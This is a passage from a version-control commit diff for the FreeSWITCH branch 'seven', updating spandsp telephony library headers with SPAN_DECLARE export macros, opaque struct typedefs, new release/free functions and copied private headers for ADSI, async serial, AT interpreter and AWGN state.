+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/modem_echo.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,7 +25,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modem_echo.h,v 1.11 2008/04/17 14:27:00 steveu Exp $
+ * $Id: modem_echo.h,v 1.13 2009/02/03 16:28:41 steveu Exp $
  */
 
 /*! \file */
@@ -110,23 +110,23 @@
     \param len The length of the canceller, in samples.
     eturn The new canceller context, or NULL if the canceller could not be created.
 */
-modem_echo_can_state_t *modem_echo_can_create(int len);
+SPAN_DECLARE(modem_echo_can_state_t *) modem_echo_can_create(int len);
 
 /*! Free a modem echo canceller context.
     \param ec The echo canceller context.
 */
-void modem_echo_can_free(modem_echo_can_state_t *ec);
+SPAN_DECLARE(void) modem_echo_can_free(modem_echo_can_state_t *ec);
 
 /*! Flush (reinitialise) a modem echo canceller context.
     \param ec The echo canceller context.
 */
-void modem_echo_can_flush(modem_echo_can_state_t *ec);
+SPAN_DECLARE(void) modem_echo_can_flush(modem_echo_can_state_t *ec);
 
 /*! Set the adaption mode of a modem echo canceller context.
     \param ec The echo canceller context.
     \param adapt The mode.
 */
-void modem_echo_can_adaption_mode(modem_echo_can_state_t *ec, int adapt);
+SPAN_DECLARE(void) modem_echo_can_adaption_mode(modem_echo_can_state_t *ec, int adapt);
 
 /*! Process a sample through a modem echo canceller.
     \param ec The echo canceller context.
@@ -134,7 +134,7 @@
     \param rx The received audio sample.
     eturn The clean (echo cancelled) received sample.
 */
-int16_t modem_echo_can_update(modem_echo_can_state_t *ec, int16_t tx, int16_t rx);
+SPAN_DECLARE(int16_t) modem_echo_can_update(modem_echo_can_state_t *ec, int16_t tx, int16_t rx);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/noise.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/noise.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/noise.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: noise.h,v 1.13 2008/04/17 14:27:00 steveu Exp $
+ * $Id: noise.h,v 1.17 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -91,14 +91,7 @@
     Noise generator descriptor. This contains all the state information for an instance
     of the noise generator.
  */
-typedef struct
-{
-    int class_of_noise;
-    int quality;
-    int32_t rms;
-    uint32_t rndnum;
-    int32_t state;
-} noise_state_t;
+typedef struct noise_state_s noise_state_t;
 
 #if defined(__cplusplus)
 extern "C"
@@ -115,16 +108,20 @@
            generation to be adjusted.
     \return A pointer to the noise generator context.
 */
-noise_state_t *noise_init_dbm0(noise_state_t *s, int seed, float level, int class_of_noise, int quality);
+SPAN_DECLARE(noise_state_t *) noise_init_dbm0(noise_state_t *s, int seed, float level, int class_of_noise, int quality);
 
-noise_state_t *noise_init_dbov(noise_state_t *s, int seed, float level, int class_of_noise, int quality);
+SPAN_DECLARE(noise_state_t *) noise_init_dbov(noise_state_t *s, int seed, float level, int class_of_noise, int quality);
 
+SPAN_DECLARE(int) noise_release(noise_state_t *s);
+
+SPAN_DECLARE(int) noise_free(noise_state_t *s);
+
 /*! Generate a sample of audio noise.
     \brief Generate a sample of audio noise.
     \param s The noise generator context.
     \return The generated sample.
 */
-int16_t noise(noise_state_t *s);
+SPAN_DECLARE(int16_t) noise(noise_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/oki_adpcm.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/oki_adpcm.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/oki_adpcm.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: oki_adpcm.h,v 1.20 2008/04/17 14:27:00 steveu Exp $
+ * $Id: oki_adpcm.h,v 1.24 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -49,25 +49,7 @@
     a single working instance of the Oki ADPCM converter. This is used for
     either linear to ADPCM or ADPCM to linear conversion.
 */
-typedef struct
-{
-    /*! \brief The bit rate - 24000 or 32000. */
-    int bit_rate;
-    /*! \brief The last state of the ADPCM algorithm. */
-    int16_t last;
-    /*! \brief Current index into the step size table. */
-    int16_t step_index;
-    /*! \brief The compressed data byte in progress. */
-    uint8_t oki_byte;
-    /*! \brief The signal history for the sample rate converter. */
-    int16_t history[32];
-    /*! \brief Pointer into the history buffer. */
-    int ptr;
-    /*! \brief Odd/even sample counter. */
-    int mark;
-    /*! \brief Phase accumulator for the sample rate converter. */
-    int phase;
-} oki_adpcm_state_t;
+typedef struct oki_adpcm_state_s oki_adpcm_state_t;
 
 #if defined(__cplusplus)
 extern "C"
@@ -79,12 +61,18 @@
     \param bit_rate The required bit rate for the ADPCM data.
            The valid rates are 24000 and 32000.
     \return A pointer to the Oki ADPCM context, or NULL for error. */
-oki_adpcm_state_t *oki_adpcm_init(oki_adpcm_state_t *s, int bit_rate);
+SPAN_DECLARE(oki_adpcm_state_t *) oki_adpcm_init(oki_adpcm_state_t *s,
+                                                 int bit_rate);
 
+/*! Release an Oki ADPCM encode or decode context.
+    \param s The Oki ADPCM context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) oki_adpcm_release(oki_adpcm_state_t *s);
+
 /*! Free an Oki ADPCM encode or decode context.
     \param s The Oki ADPCM context.
     \return 0 for OK. */
-int oki_adpcm_release(oki_adpcm_state_t *s);
+SPAN_DECLARE(int) oki_adpcm_free(oki_adpcm_state_t *s);
 
 /*! Decode a buffer of Oki ADPCM data to linear PCM.
     \param s The Oki ADPCM context.
@@ -92,10 +80,10 @@
     \param oki_data
     \param oki_bytes
     \return The number of samples returned. */
-int oki_adpcm_decode(oki_adpcm_state_t *s,
-                     int16_t amp[],
-                     const uint8_t oki_data[],
-                     int oki_bytes);
+SPAN_DECLARE(int) oki_adpcm_decode(oki_adpcm_state_t *s,
+                                   int16_t amp[],
+                                   const uint8_t oki_data[],
+                                   int oki_bytes);
 
 /*! Encode a buffer of linear PCM data to Oki ADPCM.
     \param s The Oki ADPCM context.
@@ -103,10 +91,10 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of bytes of Oki ADPCM data produced. */
-int oki_adpcm_encode(oki_adpcm_state_t *s,
-                     uint8_t oki_data[],
-                     const int16_t amp[],
-                     int len);
+SPAN_DECLARE(int) oki_adpcm_encode(oki_adpcm_state_t *s,
+                                   uint8_t oki_data[],
+                                   const int16_t amp[],
+                                   int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/playout.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/playout.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/playout.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: playout.h,v 1.11 2008/04/17 14:27:00 steveu Exp $
+ * $Id: playout.h,v 1.14 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_PLAYOUT_H_)
@@ -147,7 +147,7 @@
     \return One of
         PLAYOUT_OK:  Frame queued OK.
         PLAYOUT_ERROR: Some problem occured - e.g. out of memory. */
-int playout_put(playout_state_t *s, void *data, int type, timestamp_t sender_len, timestamp_t sender_stamp, timestamp_t receiver_stamp);
+SPAN_DECLARE(int) playout_put(playout_state_t *s, void *data, int type, timestamp_t sender_len, timestamp_t sender_stamp, timestamp_t receiver_stamp);
 
 /*! Get the next frame.
     \param s The play-out context.
@@ -162,37 +162,26 @@
                         this time (either we need to grow, or there was a lost frame).
         PLAYOUT_EMPTY: The buffer is empty.
  */
-int	playout_get(playout_state_t *s, playout_frame_t *frame, timestamp_t sender_stamp);
+SPAN_DECLARE(int) playout_get(playout_state_t *s, playout_frame_t *frame, timestamp_t sender_stamp);
 
 /*! Unconditionally get the first buffered frame. This may be used to clear out the queue, and free
     all its contents, before the context is freed.
     \param s The play-out context.
     \return The frame, or NULL is the queue is empty. */
-playout_frame_t *playout_get_unconditional(playout_state_t *s);
+SPAN_DECLARE(playout_frame_t *) playout_get_unconditional(playout_state_t *s);
 
 /*! Find the current length of the buffer.
     \param s The play-out context.
     \return The length of the buffer. */
-timestamp_t playout_current_length(playout_state_t *s);
+SPAN_DECLARE(timestamp_t) playout_current_length(playout_state_t *s);
 
 /*! Find the time at which the next queued frame is due to play.
     Note: This value may change backwards as freshly received out of order frames are
           added to the buffer.
     \param s The play-out context.
     \return The next timestamp. */
-timestamp_t playout_next_due(playout_state_t *s);
+SPAN_DECLARE(timestamp_t) playout_next_due(playout_state_t *s);
 
-/*! Create a new instance of play-out buffering.
-    \param min_length Minimum length of the buffer, in samples.
-    \param max_length Maximum length of the buffer, in samples. If this equals min_length, static
-           length buffering is used.
-    \return The new context */
-playout_state_t *playout_new(int min_length, int max_length);
-
-/*! Destroy an instance of play-out buffering.
-    \param s The play-out context to be destroyed */
-void playout_free(playout_state_t *s);
-
 /*! Reset an instance of play-out buffering.
     NOTE:  The buffer should be empty before you call this function, otherwise
            you will leak queued frames, and some internal structures
@@ -200,8 +189,25 @@
     \param min_length Minimum length of the buffer, in samples.
     \param max_length Maximum length of the buffer, in samples. If this equals min_length, static
            length buffering is used. */
-void playout_restart(playout_state_t *s, int min_length, int max_length);
+SPAN_DECLARE(void) playout_restart(playout_state_t *s, int min_length, int max_length);
 
+/*! Create a new instance of play-out buffering.
+    \param min_length Minimum length of the buffer, in samples.
+    \param max_length Maximum length of the buffer, in samples. If this equals min_length, static
+           length buffering is used.
+    \return The new context */
+SPAN_DECLARE(playout_state_t *) playout_init(int min_length, int max_length);
+
+/*! Release an instance of play-out buffering.
+    \param s The play-out context to be releaased
+    \return 0 if OK, else -1 */
+SPAN_DECLARE(int) playout_release(playout_state_t *s);
+
+/*! Free an instance of play-out buffering.
+    \param s The play-out context to be destroyed
+    \return 0 if OK, else -1 */
+SPAN_DECLARE(int) playout_free(playout_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/plc.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/plc.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/plc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: plc.h,v 1.18 2008/04/17 14:27:00 steveu Exp $
+ * $Id: plc.h,v 1.21 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -139,7 +139,7 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of samples in the buffer. */
-int plc_rx(plc_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE(int) plc_rx(plc_state_t *s, int16_t amp[], int len);
 
 /*! Fill-in a block of missing audio samples.
     \brief Fill-in a block of missing audio samples.
@@ -147,18 +147,23 @@
     \param amp The audio sample buffer.
     \param len The number of samples to be synthesised.
     \return The number of samples synthesized. */
-int plc_fillin(plc_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE(int) plc_fillin(plc_state_t *s, int16_t amp[], int len);
 
 /*! Initialise a packet loss concealer context.
     \brief Initialise a PLC context.
     \param s The packet loss concealer context.
     \return A pointer to the the packet loss concealer context. */
-plc_state_t *plc_init(plc_state_t *s);
+SPAN_DECLARE(plc_state_t *) plc_init(plc_state_t *s);
 
+/*! Release a packet loss concealer context.
+    \param s The packet loss concealer context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) plc_release(plc_state_t *s);
+
 /*! Free a packet loss concealer context.
     \param s The packet loss concealer context.
     \return 0 for OK. */
-int plc_free(plc_state_t *s);
+SPAN_DECLARE(int) plc_free(plc_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/power_meter.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/power_meter.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/power_meter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: power_meter.h,v 1.15 2008/04/17 14:27:00 steveu Exp $
+ * $Id: power_meter.h,v 1.19 2009/05/19 14:15:09 steveu Exp $
  */
 
 #if !defined(_POWER_METER_H_)
@@ -56,6 +56,16 @@
     int32_t reading;
 } power_meter_t;
 
+typedef struct
+{
+    power_meter_t short_term;
+    power_meter_t medium_term;
+    int signal_present;
+    int32_t surge;
+    int32_t sag;
+    int32_t min;
+} power_surge_detector_state_t;
+
 #if defined(__cplusplus)
 extern "C"
 {
@@ -66,52 +76,76 @@
     \param s The power meter context.
     \param shift The shift to be used by the IIR filter.
     \return The power meter context. */
-power_meter_t *power_meter_init(power_meter_t *s, int shift);
+SPAN_DECLARE(power_meter_t *) power_meter_init(power_meter_t *s, int shift);
 
+SPAN_DECLARE(int) power_meter_release(power_meter_t *s);
+
+SPAN_DECLARE(int) power_meter_free(power_meter_t *s);
+
 /*! Change the damping factor of a power meter context.
     \brief Change the damping factor of a power meter context.
     \param s The power meter context.
     \param shift The new shift to be used by the IIR filter.
     \return The power meter context. */
-power_meter_t *power_meter_damping(power_meter_t *s, int shift);
+SPAN_DECLARE(power_meter_t *) power_meter_damping(power_meter_t *s, int shift);
 
 /*! Update a power meter.
     \brief Update a power meter.
     \param s The power meter context.
     \param amp The amplitude of the new audio sample.
     \return The current power meter reading. */
-int32_t power_meter_update(power_meter_t *s, int16_t amp);
+SPAN_DECLARE(int32_t) power_meter_update(power_meter_t *s, int16_t amp);
 
 /*! Get the current power meter reading.
     \brief Get the current power meter reading.
     \param s The power meter context.
     \return The current power meter reading. */
-int32_t power_meter_current(power_meter_t *s);
+SPAN_DECLARE(int32_t) power_meter_current(power_meter_t *s);
 
 /*! Get the current power meter reading, in dBm0.
     \brief Get the current power meter reading, in dBm0.
     \param s The power meter context.
     \return The current power meter reading, in dBm0. */
-float power_meter_current_dbm0(power_meter_t *s);
+SPAN_DECLARE(float) power_meter_current_dbm0(power_meter_t *s);
 
 /*! Get the current power meter reading, in dBOv.
     \brief Get the current power meter reading, in dBOv.
     \param s The power meter context.
     \return The current power meter reading, in dBOv. */
-float power_meter_current_dbov(power_meter_t *s);
+SPAN_DECLARE(float) power_meter_current_dbov(power_meter_t *s);
 
 /*! Get the power meter reading which represents a specified power level in dBm0.
     \brief Get the current power meter reading, in dBm0.
     \param level A power level, in dB0m.
     \return The equivalent power meter reading. */
-int32_t power_meter_level_dbm0(float level);
+SPAN_DECLARE(int32_t) power_meter_level_dbm0(float level);
 
 /*! Get the power meter reading which represents a specified power level in dBOv.
     \brief Get the current power meter reading, in dBOv.
     \param level A power level, in dBOv.
     \return The equivalent power meter reading. */
-int32_t power_meter_level_dbov(float level);
+SPAN_DECLARE(int32_t) power_meter_level_dbov(float level);
 
+SPAN_DECLARE(int32_t) power_surge_detector(power_surge_detector_state_t *s, int16_t amp);
+
+/*! Get the current surge detector short term meter reading, in dBm0.
+    \brief Get the current surge detector meter reading, in dBm0.
+    \param s The power surge detector context.
+    \return The current power surge detector power reading, in dBm0. */
+SPAN_DECLARE(float) power_surge_detector_current_dbm0(power_surge_detector_state_t *s);
+
+/*! Get the current surge detector short term meter reading, in dBOv.
+    \brief Get the current surge detector meter reading, in dBOv.
+    \param s The power surge detector context.
+    \return The current power surge detector power reading, in dBOv. */
+SPAN_DECLARE(float) power_surge_detector_current_dbov(power_surge_detector_state_t *s);
+
+SPAN_DECLARE(power_surge_detector_state_t *) power_surge_detector_init(power_surge_detector_state_t *s, float min, float surge);
+
+SPAN_DECLARE(int) power_surge_detector_release(power_surge_detector_state_t *s);
+
+SPAN_DECLARE(int) power_surge_detector_free(power_surge_detector_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private)

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/README

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/README (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/README) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+The header files in this directory should only be used by code tightly integrating itself with the
+spandsp library to maximise performance. To maximise compatibility with futures revisions of spandsp,
+most users should avoid using these headers, or probing into the spandsp data structures in other ways.
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/adsi.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/adsi.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/adsi.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/adsi.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/adsi.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,120 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/adsi.h - Analogue display services interface and other call ID related handling.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: adsi.h,v 1.4 2009/04/12 04:20:01 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_ADSI_H_)
+#define _SPANDSP_PRIVATE_ADSI_H_
+
+/*!
+    ADSI transmitter descriptor. This contains all the state information for an ADSI
+    (caller ID, CLASS, CLIP, ACLIP) transmit channel.
+ */
+struct adsi_tx_state_s
+{
+    /*! */
+    int standard;
+
+    /*! */
+    tone_gen_descriptor_t alert_tone_desc;
+    /*! */
+    tone_gen_state_t alert_tone_gen;
+    /*! */
+    fsk_tx_state_t fsktx;
+    /*! */
+    dtmf_tx_state_t dtmftx;
+    /*! */
+    async_tx_state_t asynctx;
+
+    /*! */
+    int tx_signal_on;
+
+    /*! */
+    int byte_no;
+    /*! */
+    int bit_pos;
+    /*! */
+    int bit_no;
+    /*! */
+    uint8_t msg[256];
+    /*! */
+    int msg_len;
+    /*! */
+    int preamble_len;
+    /*! */
+    int preamble_ones_len;
+    /*! */
+    int postamble_ones_len;
+    /*! */
+    int stop_bits;
+    /*! */
+    int baudot_shift;
+    
+    /*! */
+    logging_state_t logging;
+};
+
+/*!
+    ADSI receiver descriptor. This contains all the state information for an ADSI
+    (caller ID, CLASS, CLIP, ACLIP, JCLIP) receive channel.
+ */
+struct adsi_rx_state_s
+{
+    /*! */
+    int standard;
+    /*! */
+    put_msg_func_t put_msg;
+    /*! */
+    void *user_data;
+
+    /*! */
+    fsk_rx_state_t fskrx;
+    /*! */
+    dtmf_rx_state_t dtmfrx;
+
+    /*! */
+    int consecutive_ones;
+    /*! */
+    int bit_pos;
+    /*! */
+    int in_progress;
+    /*! */
+    uint8_t msg[256];
+    /*! */
+    int msg_len;
+    /*! */
+    int baudot_shift;
+    
+    /*! A count of the framing errors. */
+    int framing_errors;
+
+    /*! */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/async.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/async.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/async.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/async.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/async.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/async.h - Asynchronous serial bit stream encoding and decoding
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: async.h,v 1.1 2008/11/30 10:17:31 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_ASYNC_H_)
+#define _SPANDSP_PRIVATE_ASYNC_H_
+
+/*!
+    Asynchronous data transmit descriptor. This defines the state of a single
+    working instance of a byte to asynchronous serial converter, for use
+    in FSK modems.
+*/
+struct async_tx_state_s
+{
+    /*! \brief The number of data bits per character. */
+    int data_bits;
+    /*! \brief The type of parity. */
+    int parity;
+    /*! \brief The number of stop bits per character. */
+    int stop_bits;
+    /*! \brief A pointer to the callback routine used to get characters to be transmitted. */
+    get_byte_func_t get_byte;
+    /*! \brief An opaque pointer passed when calling get_byte. */
+    void *user_data;
+
+    /*! \brief A current, partially transmitted, character. */
+    int byte_in_progress;
+    /*! \brief The current bit position within a partially transmitted character. */
+    int bitpos;
+    /*! \brief Parity bit. */
+    int parity_bit;
+};
+
+/*!
+    Asynchronous data receive descriptor. This defines the state of a single
+    working instance of an asynchronous serial to byte converter, for use
+    in FSK modems.
+*/
+struct async_rx_state_s
+{
+    /*! \brief The number of data bits per character. */
+    int data_bits;
+    /*! \brief The type of parity. */
+    int parity;
+    /*! \brief The number of stop bits per character. */
+    int stop_bits;
+    /*! \brief TRUE if V.14 rate adaption processing should be performed. */
+    int use_v14;
+    /*! \brief A pointer to the callback routine used to handle received characters. */
+    put_byte_func_t put_byte;
+    /*! \brief An opaque pointer passed when calling put_byte. */
+    void *user_data;
+
+    /*! \brief A current, partially complete, character. */
+    int byte_in_progress;
+    /*! \brief The current bit position within a partially complete character. */
+    int bitpos;
+    /*! \brief Parity bit. */
+    int parity_bit;
+
+    /*! A count of the number of parity errors seen. */
+    int parity_errors;
+    /*! A count of the number of character framing errors seen. */
+    int framing_errors;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/at_interpreter.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/at_interpreter.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/at_interpreter.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/at_interpreter.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/at_interpreter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,130 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/at_interpreter.h - AT command interpreter to V.251, V.252, V.253, T.31 and the 3GPP specs.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004, 2005, 2006 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: at_interpreter.h,v 1.1 2008/11/30 05:43:37 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_AT_INTERPRETER_H_)
+#define _SPANDSP_PRIVATE_AT_INTERPRETER_H_
+
+typedef struct at_call_id_s at_call_id_t;
+
+struct at_call_id_s
+{
+    char *id;
+    char *value;
+    at_call_id_t *next;
+};
+
+/*!
+    AT descriptor. This defines the working state for a single instance of
+    the AT interpreter.
+*/
+struct at_state_s
+{
+    at_profile_t p;
+    /*! Value set by +GCI */
+    int country_of_installation;
+    /*! Value set by +FIT */
+    int dte_inactivity_timeout;
+    /*! Value set by +FIT */
+    int dte_inactivity_action;
+    /*! Value set by L */
+    int speaker_volume;
+    /*! Value set by M */
+    int speaker_mode;
+    /*! This is no real DTE rate. This variable is for compatibility this serially
+        connected modems. */
+    /*! Value set by +IPR/+FPR */
+    int dte_rate;
+    /*! Value set by +ICF */
+    int dte_char_format;
+    /*! Value set by +ICF */
+    int dte_parity;
+    /*! Value set by &C */
+    int rlsd_behaviour;
+    /*! Value set by &D */
+    int dtr_behaviour;
+    /*! Value set by +FCL */
+    int carrier_loss_timeout;
+    /*! Value set by X */
+    int result_code_mode;
+    /*! Value set by +IDSR */
+    int dsr_option;
+    /*! Value set by +ILSD */
+    int long_space_disconnect_option;
+    /*! Value set by +ICLOK */
+    int sync_tx_clock_source;
+    /*! Value set by +EWIND */
+    int rx_window;
+    /*! Value set by +EWIND */
+    int tx_window;
+    
+    int v8bis_signal;
+    int v8bis_1st_message;
+    int v8bis_2nd_message;
+    int v8bis_sig_en;
+    int v8bis_msg_en;
+    int v8bis_supp_delay;
+
+    uint8_t rx_data[256];
+    int rx_data_bytes;
+
+    int display_call_info;
+    int call_info_displayed;
+    at_call_id_t *call_id;
+    char *local_id;
+    /*! The currently select FAX modem class. 0 = data modem mode. */
+    int fclass_mode;
+    int at_rx_mode;
+    int rings_indicated;
+    int do_hangup;
+    int silent_dial;
+    int command_dial;
+    int ok_is_pending;
+    int dte_is_waiting;
+    /*! \brief TRUE if a carrier is presnt. Otherwise FALSE. */
+    int rx_signal_present;
+    /*! \brief TRUE if a modem has trained, Otherwise FALSE. */
+    int rx_trained;
+    int transmit;
+
+    char line[256];
+    int line_ptr;
+
+    at_modem_control_handler_t *modem_control_handler;
+    void *modem_control_user_data;
+    at_tx_handler_t *at_tx_handler;
+    void *at_tx_user_data;
+    at_class1_handler_t *class1_handler;
+    void *class1_user_data;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/awgn.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/awgn.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/awgn.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/awgn.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/awgn.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/awgn.h - An additive Gaussian white noise generator
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: awgn.h,v 1.1 2008/11/30 12:38:27 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_AWGN_H_)
+#define _SPANDSP_PRIVATE_AWGN_H_
+
+/*!
+    AWGN generator descriptor. This contains all the state information for an AWGN generator.
+ */
+struct awgn_state_s
+{
+    double rms;
+    long int ix1;
+    long int ix2;
+    long int ix3;
+    double r[98];
+    double gset;
+    int iset;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

